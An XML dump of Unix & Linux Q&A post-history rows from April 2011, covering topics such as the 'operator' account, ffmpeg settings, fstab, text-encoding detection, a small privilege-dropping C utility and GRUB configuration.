  <row Id="28263" PostHistoryTypeId="24" PostId="11637" RevisionGUID="34399a8c-015e-476a-8e12-9f28d2f19eb4" CreationDate="2011-04-19T17:45:10.550" Comment="Proposed by 5842 approved by 885 edit id of 285" />
  <row Id="28264" PostHistoryTypeId="6" PostId="11632" RevisionGUID="c27c8f94-029b-418a-b3e5-266908c451b1" CreationDate="2011-04-19T17:54:56.520" UserId="885" Comment="edited tags" Text="élinuxömintàémenuàélxdeà" />
  <row Id="28265" PostHistoryTypeId="2" PostId="11638" RevisionGUID="0b789d23-a453-472f-8bae-7b5b727fe967" CreationDate="2011-04-19T17:55:38.813" UserId="4" Text="Many un*x systems ship with a user 'named operator'. What is the purpose of this account?&#xD;&#xA;&#xD;&#xA;Do some systems actually make use of this account, or is this more of a historical legacy? Have you ever made use of this account in your organization?&#xD;&#xA;&#xD;&#xA;The 'operator' account tends have a home directory set to something like `/root` or `/`. Why is this?&#xD;&#xA;&#xD;&#xA;Linux:&#xD;&#xA;&#xD;&#xA;    Login: operator                         Name: operator&#xD;&#xA;    Directory: /root                        Shell: /sbin/nologin&#xD;&#xA;&#xD;&#xA;Or FreeBSD:&#xD;&#xA;&#xD;&#xA;    Login: operator                         Name: System Operator&#xD;&#xA;    Directory: /                            Shell: /usr/sbin/nologin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This question is surprisingly hard to google, since n[early all google results][1] are regarding shell or code operators.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=unix%20operator" />
  <row Id="28266" PostHistoryTypeId="1" PostId="11638" RevisionGUID="0b789d23-a453-472f-8bae-7b5b727fe967" CreationDate="2011-04-19T17:55:38.813" UserId="4" Text="What is the point of the 'operator' user?" />
  <row Id="28267" PostHistoryTypeId="3" PostId="11638" RevisionGUID="0b789d23-a453-472f-8bae-7b5b727fe967" CreationDate="2011-04-19T17:55:38.813" UserId="4" Text="éadministrationà" />
  <row Id="28269" PostHistoryTypeId="25" PostId="11637" RevisionGUID="8f9c2ce3-0e18-46c8-96b3-bd42348aabb8" CreationDate="2011-04-19T18:09:09.597" Comment="http://twitter.com/#!/StackUnix/status/60404583964475392" />
  <row Id="28270" PostHistoryTypeId="5" PostId="11638" RevisionGUID="b939a151-5047-4cda-b281-1a03eec9eefb" CreationDate="2011-04-19T18:30:32.923" UserId="1925" Comment="Moved single quote to clarify what is being asked." Text="Many un*x systems ship with a user account named 'operator'. What is the purpose of this account?&#xD;&#xA;&#xD;&#xA;Do some systems actually make use of this account, or is this more of a historical legacy? Have you ever made use of this account in your organization?&#xD;&#xA;&#xD;&#xA;The 'operator' account tends have a home directory set to something like `/root` or `/`. Why is this?&#xD;&#xA;&#xD;&#xA;Linux:&#xD;&#xA;&#xD;&#xA;    Login: operator                         Name: operator&#xD;&#xA;    Directory: /root                        Shell: /sbin/nologin&#xD;&#xA;&#xD;&#xA;Or FreeBSD:&#xD;&#xA;&#xD;&#xA;    Login: operator                         Name: System Operator&#xD;&#xA;    Directory: /                            Shell: /usr/sbin/nologin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This question is surprisingly hard to google, since [nearly all google results][1] are regarding shell or code operators.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=unix%20operator" />
  <row Id="28271" PostHistoryTypeId="24" PostId="11638" RevisionGUID="b939a151-5047-4cda-b281-1a03eec9eefb" CreationDate="2011-04-19T18:30:32.923" Comment="Proposed by 1925 approved by 73 edit id of 286" />
  <row Id="28272" PostHistoryTypeId="2" PostId="11639" RevisionGUID="002eb788-7f3a-43eb-93a8-09c44211c31f" CreationDate="2011-04-19T18:42:09.557" UserId="6747" Text="Greetings, I have a video site where users can upload videos which will be converted to FLV and displayed.&#xD;&#xA;&#xD;&#xA;Those videos  are shown at the size 420x350.&#xD;&#xA;&#xD;&#xA;I'm using FFMPEG to convert then to FLV, through the following command:&#xD;&#xA;&#xD;&#xA;    ffmpeg -i $in $out&#xD;&#xA;&#xD;&#xA;I find the result to be pretty low quality and whenever I try to change settings, the output will be a very large file.&#xD;&#xA;&#xD;&#xA;I've tryed this, for instance:&#xD;&#xA;&#xD;&#xA;      ffmpeg -i $in -sameq -ar 11025 -ab 32 -deinterlace -nr 500 -r 20 -g 500 -s 420x350 -aspect 4:3 -me_range 20 -b 270k -f flv -y $out&#xD;&#xA;&#xD;&#xA;Would anyone have any tips on optimizing video to FLV conversion using FFMPEG so I would get a medium quality video which is not very large?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28273" PostHistoryTypeId="1" PostId="11639" RevisionGUID="002eb788-7f3a-43eb-93a8-09c44211c31f" CreationDate="2011-04-19T18:42:09.557" UserId="6747" Text="FFMPEG video to FLV conversion optimization" />
  <row Id="28274" PostHistoryTypeId="3" PostId="11639" RevisionGUID="002eb788-7f3a-43eb-93a8-09c44211c31f" CreationDate="2011-04-19T18:42:09.557" UserId="6747" Text="éffmpegà" />
  <row Id="28275" PostHistoryTypeId="2" PostId="11640" RevisionGUID="0d13674d-709f-45ea-969e-672ef979e4b7" CreationDate="2011-04-19T18:49:27.410" UserId="1924" Text="How linux know which partition should he mount to which directory?&#xD;&#xA;&#xD;&#xA;Where is this info stored?" />
  <row Id="28276" PostHistoryTypeId="1" PostId="11640" RevisionGUID="0d13674d-709f-45ea-969e-672ef979e4b7" CreationDate="2011-04-19T18:49:27.410" UserId="1924" Text="mounting on boot - How to edit" />
  <row Id="28277" PostHistoryTypeId="3" PostId="11640" RevisionGUID="0d13674d-709f-45ea-969e-672ef979e4b7" CreationDate="2011-04-19T18:49:27.410" UserId="1924" Text="élinuxàébootàépartitionà" />
  <row Id="28278" PostHistoryTypeId="2" PostId="11641" RevisionGUID="0cc71bf4-8ab7-4902-b031-1f826e93d257" CreationDate="2011-04-19T18:51:11.937" UserId="1925" Text="The information about what hard drives to mount where is stored in `/etc/fstab`." />
  <row Id="28282" PostHistoryTypeId="2" PostId="11643" RevisionGUID="474a465c-0cdc-4032-9d57-8653966c7ef1" CreationDate="2011-04-19T18:57:58.680" UserId="6629" Text="The operator user was traditionally there for simple maintenance, so usually has unrestricted read access to disks to perform dumps / backups etc.&#xD;&#xA;" />
  <row Id="28283" PostHistoryTypeId="2" PostId="11644" RevisionGUID="c09d8231-6845-4339-b7be-7b09c1232cfc" CreationDate="2011-04-19T19:07:06.647" UserId="5931" Text="You could try (as root):&#xD;&#xA;&#xD;&#xA;    mount -t debugfs none /sys/kernel/debug&#xD;&#xA;    cat /sys/kernel/debug/usb/devices&#xD;&#xA;&#xD;&#xA;Then look for your device, and see which driver is handling it.&#xD;&#xA;&#xD;&#xA;If you can run your application as root, you may want to try that to see if it is a permissions issue." />
  <row Id="28284" PostHistoryTypeId="5" PostId="11643" RevisionGUID="55034198-8124-4bba-b060-c770513ba640" CreationDate="2011-04-19T19:07:46.160" UserId="6629" Comment="added 93 characters in body" Text="The operator user was traditionally there for simple maintenance, so usually has unrestricted read access to disks (by also being in the operator group) to perform dumps / backups.  That way a backup can be taken without requiring root pw.&#xD;&#xA;" />
  <row Id="28285" PostHistoryTypeId="5" PostId="11640" RevisionGUID="e1742552-c623-4428-9424-99b03f307d19" CreationDate="2011-04-19T19:19:39.867" UserId="1925" Comment="English fixes." Text="How does linux know which partition should be mounted at which directory? Where is this info stored?" />
  <row Id="28286" PostHistoryTypeId="4" PostId="11640" RevisionGUID="e1742552-c623-4428-9424-99b03f307d19" CreationDate="2011-04-19T19:19:39.867" UserId="1925" Comment="English fixes." Text="mounting on boot - how to edit" />
  <row Id="28287" PostHistoryTypeId="24" PostId="11640" RevisionGUID="e1742552-c623-4428-9424-99b03f307d19" CreationDate="2011-04-19T19:19:39.867" Comment="Proposed by 1925 approved by 73 edit id of 287" />
  <row Id="28292" PostHistoryTypeId="6" PostId="11622" RevisionGUID="282516b1-63a5-4049-bf3b-3a28b9d13ec0" CreationDate="2011-04-19T20:05:47.673" UserId="885" Comment="edited tags" Text="éfilesystemsàéfilesàéxattrà" />
  <row Id="28293" PostHistoryTypeId="6" PostId="11604" RevisionGUID="29eb792f-4a78-48c5-8c28-5322a6140029" CreationDate="2011-04-19T20:10:40.310" UserId="885" Comment="edited tags" Text="éxorgàéloginàéxmodmapàésessionà" />
  <row Id="28294" PostHistoryTypeId="2" PostId="11646" RevisionGUID="481bb066-4355-4cb3-8f6f-6ceb6903c8ef" CreationDate="2011-04-19T20:17:00.110" UserId="2168" Text="There's [xpra](http://partiwm.org/wiki/xpra), a slightly more recent tool than xmove." />
  <row Id="28295" PostHistoryTypeId="6" PostId="7544" RevisionGUID="4155d098-82d3-4b21-8741-c1142290193b" CreationDate="2011-04-19T20:18:40.290" UserId="885" Comment="edited tags" Text="éperformanceàéopenofficeà" />
  <row Id="28296" PostHistoryTypeId="6" PostId="11588" RevisionGUID="1cc56fa6-d753-4c35-9a68-35fa6707c914" CreationDate="2011-04-19T20:18:57.623" UserId="885" Comment="edited tags" Text="élinuxàéserveràédistributionöchoiceàéwebserverà" />
  <row Id="28297" PostHistoryTypeId="5" PostId="11606" RevisionGUID="816c92b9-2386-4cd9-b11d-7ad012ea70f4" CreationDate="2011-04-19T20:50:42.637" UserId="4949" Comment="added 64 characters in body" Text="Yes, but exactly how depends on which shell you're using.&#xD;&#xA;&#xD;&#xA;In case of `bash`, edit `~/.bashrc` and add a line saying  &#xD;&#xA;`xmodmap ~/.Xmodmap`  &#xD;&#xA;&#xD;&#xA;If you don't have a `~/.bashrc` yet, create one and start it with  &#xD;&#xA;&#xD;&#xA;    #!/bin/bash &#xD;&#xA;    if [ -f /etc/bash.bashrc ] ; then&#xD;&#xA;        . /etc/bash.bashrc&#xD;&#xA;    fi &#xD;&#xA;    &#xD;&#xA;    xmodmap ~/.Xmodmap&#xD;&#xA;&#xD;&#xA;If you're using a different login shell such as `tcsh` or `dash` or `zsh`, you'll need to  check its manpage to see what files it reads and executes on startup and add the command there. If you're unsure what login shell you're using, the `SHELL` environment variable should have been set, and you can check that instead with `echo $SHELL` .&#xD;&#xA;&#xD;&#xA;EDIT: My bad. `~/.xsession` is the correct file to add this." />
  <row Id="28298" PostHistoryTypeId="2" PostId="11647" RevisionGUID="b7a649cf-5bf6-4f10-a286-01919305b926" CreationDate="2011-04-19T20:58:55.557" UserId="6507" Text="Your search for which partition is mounted may not end in fstab, the listing may use LABELs or UUIDs.  You can search for LABELs with e2label. " />
  <row Id="28299" PostHistoryTypeId="25" PostId="11640" RevisionGUID="79d1ae20-b3fc-489e-aa36-c9887df81815" CreationDate="2011-04-19T21:09:09.960" Comment="http://twitter.com/#!/StackUnix/status/60449883173306368" />
  <row Id="28300" PostHistoryTypeId="2" PostId="11648" RevisionGUID="e1c2b654-6dda-4073-ab6b-2501104585f9" CreationDate="2011-04-19T21:13:05.203" UserId="885" Text="It isn't always possible to find out for sure what the encoding of a text file is. For example, the byte sequence `\303\275` (`c3 bd` in hexadecimal) could be `ý` in UTF-8, or `Ã½` in latin1, or `Ă˝` in latin2, or `羸` in BIG-5, and so on.&#xD;&#xA;&#xD;&#xA;Some encodings have invalid byte sequences, so it's possible to rule them out for sure. This is true in particular of UTF-8; most texts in most 8-bit encodings are not valid UTF-8. You can test for valid UTF-8 with `isutf8` from [moreutils](http://kitenet.net/~joey/code/moreutils/) or with `iconv -f utf-8 -t utf-8 &gt;/dev/null`, amongst others.&#xD;&#xA;&#xD;&#xA;There are tools that try to guess the encoding of a text file. They can make mistakes, but they often work in practice as long as you don't deliberately try to fool them.&#xD;&#xA;&#xD;&#xA;* [`file`](http://unix.stackexchange.com/questions/11602/how-can-i-test-the-encoding-of-a-text-file-is-it-valid-and-what-is-it/11607#11607)&#xD;&#xA;* [Perl `Encode::Guess`](http://search.cpan.org/perldoc?Encode::Guess) (part of the standard distribution) tries successive encodings on a byte string and returns the first encoding in which the string is valid text.&#xD;&#xA;* [Enca](http://gitorious.org/enca) is an encoding guesser and converter. You can give it a language name and text that you presume is in that language (the supported languages are mostly East European languages), and it tries to guess the encoding.&#xD;&#xA;&#xD;&#xA;If there is metadata (HTML/XML `charset=`, TeX `\inputenc`, emacs `-*-coding-*-`, …) in the file, advanced editors like Emacs or Vim are often able to parse that metadata. That's not easy to automate from the command line though.&#xD;&#xA;" />
  <row Id="28301" PostHistoryTypeId="5" PostId="11538" RevisionGUID="d2f275c1-6f07-4a62-b20b-946cf81553be" CreationDate="2011-04-19T21:15:34.140" UserId="2168" Comment="Embed image" Text="I am a student and learning about operating systems, I was modifing a file using vi, when I accidentaly did something (I don't remember what) that change the codification/encoding and now this is how I see everything.&#xD;&#xA;&#xD;&#xA;![this](http://i.imgur.com/XbJdV.jpg)&#xD;&#xA;&#xD;&#xA;That screenshot is while using vi, but the problem is system wide. I tried searching but couldn't find anything. &#xD;&#xA;&#xD;&#xA;I can delete, everything and reinstall, as it is just a virtual machine but I'd rather learn what happend.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Javier" />
  <row Id="28302" PostHistoryTypeId="24" PostId="11538" RevisionGUID="d2f275c1-6f07-4a62-b20b-946cf81553be" CreationDate="2011-04-19T21:15:34.140" Comment="Proposed by 2168 approved by 885 edit id of 288" />
  <row Id="28303" PostHistoryTypeId="6" PostId="11638" RevisionGUID="6e092cd1-29e2-4c3b-94b5-de6c51cc0449" CreationDate="2011-04-19T21:18:04.763" UserId="885" Comment="edited tags" Text="éusersàéhistoryàéadministrationà" />
  <row Id="28304" PostHistoryTypeId="2" PostId="11649" RevisionGUID="10beeec5-64cb-4f3a-84f7-a4e67054cad8" CreationDate="2011-04-19T21:21:42.873" UserId="885" Text="If I understand correctly, you just need to `su` from root to some other user. Try copying an `su` binary (it won't need to be setuid root), but I don't know if that will work on Solaris. Or compile a small C program that drops privileges and executes a command.&#xD;&#xA;&#xD;&#xA;Here's a small “down-only” su. Minimally tested. Should compile as is under Solaris and *BSD; you need to `-D_BDS_SOURCE` and `#include &lt;grp.h&gt;` under Linux, and other platforms may require commenting out the call to the common but non-standard `setgroups`. Run as e.g. `sugexec UID GID bash /path/to/script` (you must pass numerical user and group IDs, to avoid depending on any form of user database that may not be available in the chroot).&#xD;&#xA;&#xD;&#xA;    #include &lt;errno.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;string.h&gt;&#xD;&#xA;    #include &lt;sys/types.h&gt;&#xD;&#xA;    #include &lt;unistd.h&gt;&#xD;&#xA;    &#xD;&#xA;    void die(char *argv0, char *obj, char *msg) {&#xD;&#xA;        if (msg == NULL) msg = strerror(errno);&#xD;&#xA;        fprintf(stderr, &quot;%s: %s: %s\n&quot;, argv0, obj, msg);&#xD;&#xA;        exit(127);&#xD;&#xA;    }&#xD;&#xA;    int main(int argc, char *argv[]) {&#xD;&#xA;        uid_t uid;&#xD;&#xA;        gid_t gid;&#xD;&#xA;        char *endp;&#xD;&#xA;        /* Command line parsing */&#xD;&#xA;        if (argc &lt;= 3) {&#xD;&#xA;            fprintf(stderr, &quot;Usage: %s UID GID COMMAND [ARG...]\n&quot;,&#xD;&#xA;                    argv[0]==NULL ? &quot;sugexec&quot; : argv[0]);&#xD;&#xA;            exit(127);&#xD;&#xA;        }&#xD;&#xA;        uid = strtoul(argv[1], &amp;endp, 0);&#xD;&#xA;        if (*endp) die(argv[0], argv[1], &quot;Bad uid&quot;);&#xD;&#xA;        gid = strtoul(argv[2], &amp;endp, 0);&#xD;&#xA;        if (*endp) die(argv[0], argv[2], &quot;Bad gid&quot;);&#xD;&#xA;        /* Drop to specified user and group */&#xD;&#xA;        if (setgid(gid)) die(argv[0], &quot;setgid&quot;, NULL);&#xD;&#xA;        if (setgroups(0, NULL)) die(argv[0], &quot;setgroups&quot;, NULL);&#xD;&#xA;        if (setuid(uid)) die(argv[0], &quot;setuid&quot;, NULL);&#xD;&#xA;        /* Execute the command */&#xD;&#xA;        execvp(argv[3], argv + 3);&#xD;&#xA;        die(argv[0], argv[3], NULL);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28305" PostHistoryTypeId="5" PostId="7622" RevisionGUID="34225c2d-bea3-4990-8fdc-8dcf79aa4d6f" CreationDate="2011-04-19T22:09:41.040" UserId="73" Comment="deleted 28 characters in body" Text="I want to gather the Edid information of the monitor.&#xD;&#xA;I can get it from the `xorg.0.log` file when I run `X` with the `-logverbose` option.&#xD;&#xA;&#xD;&#xA;But the problem is that If I switch the monitor (unplug the current monitor and then plug-in another monitor), then there is no way to get this information.&#xD;&#xA;&#xD;&#xA;Is there any way to get the EDID dynamically (at runtime)?&#xD;&#xA;Or any utility/tool which will inform me as soon as monitor is connected and disconnected?&#xD;&#xA;&#xD;&#xA;I am using the LFS-6.4.&#xD;&#xA;" />
  <row Id="28306" PostHistoryTypeId="2" PostId="11650" RevisionGUID="4fa0a020-339a-41af-aa9f-3d696c6f35a9" CreationDate="2011-04-19T22:10:45.517" UserId="732" Text="Another, older way of doing the same thing as `reset`:  `stty sane`" />
  <row Id="28307" PostHistoryTypeId="2" PostId="11651" RevisionGUID="4bf282e3-9863-448c-91ec-a27089947d26" CreationDate="2011-04-19T22:23:54.987" UserId="688" Text="So I followed [these instructions][1] to test my build of DocBook DSSSL, and I get this:&#xD;&#xA;&#xD;&#xA;    $ onsgmls -sv test.sgm&#xD;&#xA;    onsgmls:I: &quot;OpenSP&quot; version &quot;1.5.2&quot;&#xD;&#xA;    onsgmls:test.sgm:1:61:W: cannot generate system identifier for public text &quot;-//Davenport//DTD DocBook V3.0//EN&quot;&#xD;&#xA;    onsgmls:test.sgm:1:61:E: reference to entity &quot;CHAPTER&quot; for which no system identifier could be generated&#xD;&#xA;    onsgmls:test.sgm:1:0: entity was defined here&#xD;&#xA;    onsgmls:test.sgm:1:61:E: DTD did not contain element declaration for document type name&#xD;&#xA;    onsgmls:test.sgm:2:8:E: element &quot;CHAPTER&quot; undefined&#xD;&#xA;    onsgmls:test.sgm:2:15:E: element &quot;TITLE&quot; undefined&#xD;&#xA;    onsgmls:test.sgm:3:5:E: element &quot;PARA&quot; undefined&#xD;&#xA;&#xD;&#xA;I have tried to retrace my steps by uninstalling and reinstalling the dependencies... without success.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/blfs/view/svn/pst/docbook-dsssl.html" />
  <row Id="28308" PostHistoryTypeId="1" PostId="11651" RevisionGUID="4bf282e3-9863-448c-91ec-a27089947d26" CreationDate="2011-04-19T22:23:54.987" UserId="688" Text="DocBook DSSSL test failure" />
  <row Id="28309" PostHistoryTypeId="3" PostId="11651" RevisionGUID="4bf282e3-9863-448c-91ec-a27089947d26" CreationDate="2011-04-19T22:23:54.987" UserId="688" Text="écompilingà" />
  <row Id="28310" PostHistoryTypeId="2" PostId="11652" RevisionGUID="bccf8d17-2dcb-476c-9184-0da936ff8a10" CreationDate="2011-04-19T22:25:44.077" UserId="2362" Text="*I may be abusing the word console but I mean the mode without X i.e. pressing `^+Alt F1` and then log as other user where I want to use my chosen layout with USB keyboard.*&#xD;&#xA;&#xD;&#xA;X works, it configures the new usb keyboard to my choice when I plug the new usb kbd. Console kbd stuck to the keyboard specified by the kernel. I am trying to change the console kbd:&#xD;&#xA;&#xD;&#xA;    # usbhidctl -f /dev/uhid0 -w keyboard.encoding=us                                       &#xD;&#xA;    usbhidctl: Failed to match: keyboard.encoding&#xD;&#xA;&#xD;&#xA;Some info about the version:&#xD;&#xA;&#xD;&#xA;    # uname -rv&#xD;&#xA;    4.7 GENERIC.MP#449&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28311" PostHistoryTypeId="1" PostId="11652" RevisionGUID="bccf8d17-2dcb-476c-9184-0da936ff8a10" CreationDate="2011-04-19T22:25:44.077" UserId="2362" Text="How to change USB keyboard encoding in console?" />
  <row Id="28312" PostHistoryTypeId="3" PostId="11652" RevisionGUID="bccf8d17-2dcb-476c-9184-0da936ff8a10" CreationDate="2011-04-19T22:25:44.077" UserId="2362" Text="éterminalàéopenbsdà" />
  <row Id="28313" PostHistoryTypeId="2" PostId="11653" RevisionGUID="27bd6725-e8ca-4559-a87f-f471d6120954" CreationDate="2011-04-19T22:30:02.623" UserId="3169" Text="Does&#xD;&#xA;&#xD;&#xA;    wsconsctl keyboard.encoding=us&#xD;&#xA;&#xD;&#xA;work?&#xD;&#xA;&#xD;&#xA;If yes, put that in `/etc/wsconsctl.conf` to make it persistent.&#xD;&#xA;&#xD;&#xA;Or are you saying that that would only work for PS/2 keyboards?  Maybe enabling USB legacy keyboard mode in the BIOS would help in that case?&#xD;&#xA;&#xD;&#xA;    wsconscfg -k&#xD;&#xA;&#xD;&#xA;may also be of use.&#xD;&#xA;&#xD;&#xA;Perhaps you need to change the device from&#xD;&#xA;&#xD;&#xA;    /dev/uhid0&#xD;&#xA;&#xD;&#xA;to something like&#xD;&#xA;&#xD;&#xA;    /dev/wskbd0&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    /dev/wskbd1" />
  <row Id="28314" PostHistoryTypeId="2" PostId="11654" RevisionGUID="94bcdcd8-77f0-41a0-81b0-74b95eef37c0" CreationDate="2011-04-19T22:32:54.403" UserId="6167" Text="If lsusb does not see it, I **don't** think it's a UDEV issue.  I think Ubuntu just really doesn't see it at the very lowest-level of the USB Handshake.  This normally means a hardware issue.  Since you've checked the cables and port and since it does work it Windows, I would guess a power issue.  Try using a powered USB hub in-between the radio and the host." />
  <row Id="28315" PostHistoryTypeId="2" PostId="11655" RevisionGUID="a3b3f140-d6d7-4b12-b499-aff41439fc68" CreationDate="2011-04-19T22:35:36.203" UserId="6754" Text="Background:&#xD;&#xA;&#xD;&#xA; - Dial-up is the only option for this computer&#xD;&#xA; - Gave up on the internal modem last week; now using an external USB modem.&#xD;&#xA; - I finally have the computer talking to the internet.&#xD;&#xA; - HOWEVER, after 1-5 minutes, the connection gets dropped (or something) for no apparent reason.&#xD;&#xA; - It reconnects right away.&#xD;&#xA; - Additional fact: it seems to be going *very* slow, even for dial up.&#xD;&#xA; - I'm *not* an expert, so I don't even know where to look to find a log beyond the Gnome-PPP update window thing for clues.&#xD;&#xA;&#xD;&#xA;Question:&#xD;&#xA;&#xD;&#xA; - Any idea about what's going on?  &#xD;&#xA; - Any help about were to look for clues?" />
  <row Id="28316" PostHistoryTypeId="1" PostId="11655" RevisionGUID="a3b3f140-d6d7-4b12-b499-aff41439fc68" CreationDate="2011-04-19T22:35:36.203" UserId="6754" Text="Ubuntu 10.10: Why does external dial-up modem randomly disconnect from internet?" />
  <row Id="28317" PostHistoryTypeId="3" PostId="11655" RevisionGUID="a3b3f140-d6d7-4b12-b499-aff41439fc68" CreationDate="2011-04-19T22:35:36.203" UserId="6754" Text="éubuntuàéinternetàénetworkà" />
  <row Id="28318" PostHistoryTypeId="6" PostId="11652" RevisionGUID="ab69f912-bd19-4a88-806c-2d8980694e51" CreationDate="2011-04-19T22:37:37.267" UserId="885" Comment="edited tags" Text="éterminalàékeyboardàéopenbsdàéencodingà" />
  <row Id="28319" PostHistoryTypeId="6" PostId="11655" RevisionGUID="a4221ba4-214d-456c-ac83-13ea7a80d56a" CreationDate="2011-04-19T22:44:43.473" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàéinternetàénetworkàémodemà" />
  <row Id="28320" PostHistoryTypeId="2" PostId="11656" RevisionGUID="a173e2d6-a648-43b4-9f40-e515e8af925e" CreationDate="2011-04-19T22:51:28.723" UserId="6167" Text="For ffmpeg, I always recommend using `-sameq`.  During testing you can create a smaller test source.  I assume 420x350 is lower resolution than the source.  Try creating a source matching this to speed up testing.&#xD;&#xA;&#xD;&#xA;    ffmpeg -i &quot;$in&quot; -sameq -s 420x350 -an &quot;$testin&quot;&#xD;&#xA;&#xD;&#xA;Where $testin is a filename with the same extension as $in.  ffmpeg should keep the video codec and container the same, but drop the audio stream and drop the resolution.  This will speed up testing since the source video will be a little smaller and you can just focus on making the codec conversion work well.  I can't find `-me_range` documented in my ffmpeg.  I would focus on playing with different values of `-b` and `-r` and use of `-sameq` until you get an output file size and quality you want.&#xD;&#xA;&#xD;&#xA;    ffmpeg -i &quot;$testin&quot; -sameq -r 20 -b 270k &quot;$out&quot;" />
  <row Id="28321" PostHistoryTypeId="5" PostId="11509" RevisionGUID="d9c66c10-0e16-4854-b637-ee7a21be7ebb" CreationDate="2011-04-19T22:59:18.310" UserId="195" Comment="remove excess language" Text="I manually edited the Fedoras /boot:&lt;br&gt;&#xD;&#xA;I appended a few things to the &quot;/boot/grub/menu.lst&quot;!!! and i could boot in to Ubuntu!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The Fedora's &quot;/boot/grub/menu.lst&quot; before editing it: &#xD;&#xA;&#xD;&#xA;	# grub.conf generated by anaconda&#xD;&#xA;	#&#xD;&#xA;	# Note that you do not have to rerun grub after making changes to this file&#xD;&#xA;	# NOTICE:  You have a /boot partition.  This means that&#xD;&#xA;	#          all kernel and initrd paths are relative to /boot/, eg.&#xD;&#xA;	#          root (hd0,2)&#xD;&#xA;	#          kernel /vmlinuz-version ro root=/dev/mapper/VolGroup-LogVol01&#xD;&#xA;	#          initrd /initrd-[generic-]version.img&#xD;&#xA;	#boot=/dev/sda&#xD;&#xA;	default=0&#xD;&#xA;	timeout=0&#xD;&#xA;	splashimage=(hd0,2)/grub/splash.xpm.gz&#xD;&#xA;	hiddenmenu&#xD;&#xA;	title Fedora (2.6.35.6-45.fc14.i686)&#xD;&#xA;		root (hd0,2)&#xD;&#xA;		kernel /vmlinuz-2.6.35.6-45.fc14.i686 ro root=/dev/mapper/VolGroup-LogVol01 rd_LVM_LV=VolGroup/LogVol01 rd_LUKS_UUID=luks-af599498-b495-483f-bd1b-fb8d10c8b37a rd_LVM_LV=VolGroup/LogVol00 rd_NO_MD rd_NO_DM LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYTABLE=us rhgb quiet&#xD;&#xA;		initrd /initramfs-2.6.35.6-45.fc14.i686.img&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I appended this, and it worked: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	title ubuntu&#xD;&#xA;		root (hd0,0)&#xD;&#xA;		kernel /vmlinuz-2.6.32-28-generic&#xD;&#xA;		initrd /initrd.img-2.6.32-28-generic&#xD;&#xA;&#xD;&#xA;Ok. But there are still two questions: &lt;br&gt;&#xD;&#xA;1) is this booting method ok? (i mean there are many things declared in the fedora's kernel line, and in the ubuntu kernel line, i had just wrote &quot;vmlinuz-2.6.32-28-generic&quot; - i couldn't just copy from the ubuntu's /boot/grub/menu.lst, because there is just grub.cfg..other syntax: http://pastebin.com/raw.php?i=b4DLweKv )&#xD;&#xA;&#xD;&#xA;2) is this manual modification to the menu.lst permanent? Is it ok in long-term?&lt;br&gt;&#xD;&#xA;I mean if the ubuntu get's a kernel update, and ubuntu isn't handling/updating the boot manager (because fedora does it, if i install fedora lastly) - then how could the boot manager know, that ubuntu must boot with a new kernel?? or i have to find out what to write in the &quot;kernel&quot; and &quot;initrd&quot; line manually?" />
  <row Id="28322" PostHistoryTypeId="24" PostId="11509" RevisionGUID="d9c66c10-0e16-4854-b637-ee7a21be7ebb" CreationDate="2011-04-19T22:59:18.310" Comment="Proposed by 195 approved by 73 edit id of 289" />
  <row Id="28323" PostHistoryTypeId="6" PostId="3994" RevisionGUID="d5cadd44-979f-4763-bcaa-b7a25f4eda14" CreationDate="2011-04-19T23:26:42.597" UserId="1820" Comment="add &quot;keyboard&quot; tag" Text="éxorgàékdeàékeyboardà" />
  <row Id="28324" PostHistoryTypeId="24" PostId="3994" RevisionGUID="d5cadd44-979f-4763-bcaa-b7a25f4eda14" CreationDate="2011-04-19T23:26:42.597" Comment="Proposed by 1820 approved by 885 edit id of 290" />
  <row Id="28325" PostHistoryTypeId="2" PostId="11657" RevisionGUID="b474658d-3b6c-4de6-9c30-94cc6d043d16" CreationDate="2011-04-19T23:38:24.970" UserId="6756" Text="Is it necessary to defrag drives in Ubuntu? If so, how do I do it and how often should it be done?&#xD;&#xA;" />
  <row Id="28326" PostHistoryTypeId="1" PostId="11657" RevisionGUID="b474658d-3b6c-4de6-9c30-94cc6d043d16" CreationDate="2011-04-19T23:38:24.970" UserId="6756" Text="How can I de-fragment a drive using Ubuntu?" />
  <row Id="28327" PostHistoryTypeId="3" PostId="11657" RevisionGUID="b474658d-3b6c-4de6-9c30-94cc6d043d16" CreationDate="2011-04-19T23:38:24.970" UserId="6756" Text="éubuntuà" />
  <row Id="28328" PostHistoryTypeId="2" PostId="11658" RevisionGUID="96ab7610-466e-43b4-acbb-97e4315fd637" CreationDate="2011-04-19T23:49:03.667" UserId="6757" Text="I'm considering installing it for a dualboot with osx, so is it buggy or anything? " />
  <row Id="28329" PostHistoryTypeId="1" PostId="11658" RevisionGUID="96ab7610-466e-43b4-acbb-97e4315fd637" CreationDate="2011-04-19T23:49:03.667" UserId="6757" Text="Does Arch-Linux work well on a macbook pro?" />
  <row Id="28330" PostHistoryTypeId="3" PostId="11658" RevisionGUID="96ab7610-466e-43b4-acbb-97e4315fd637" CreationDate="2011-04-19T23:49:03.667" UserId="6757" Text="éarchölinuxàémacintoshà" />
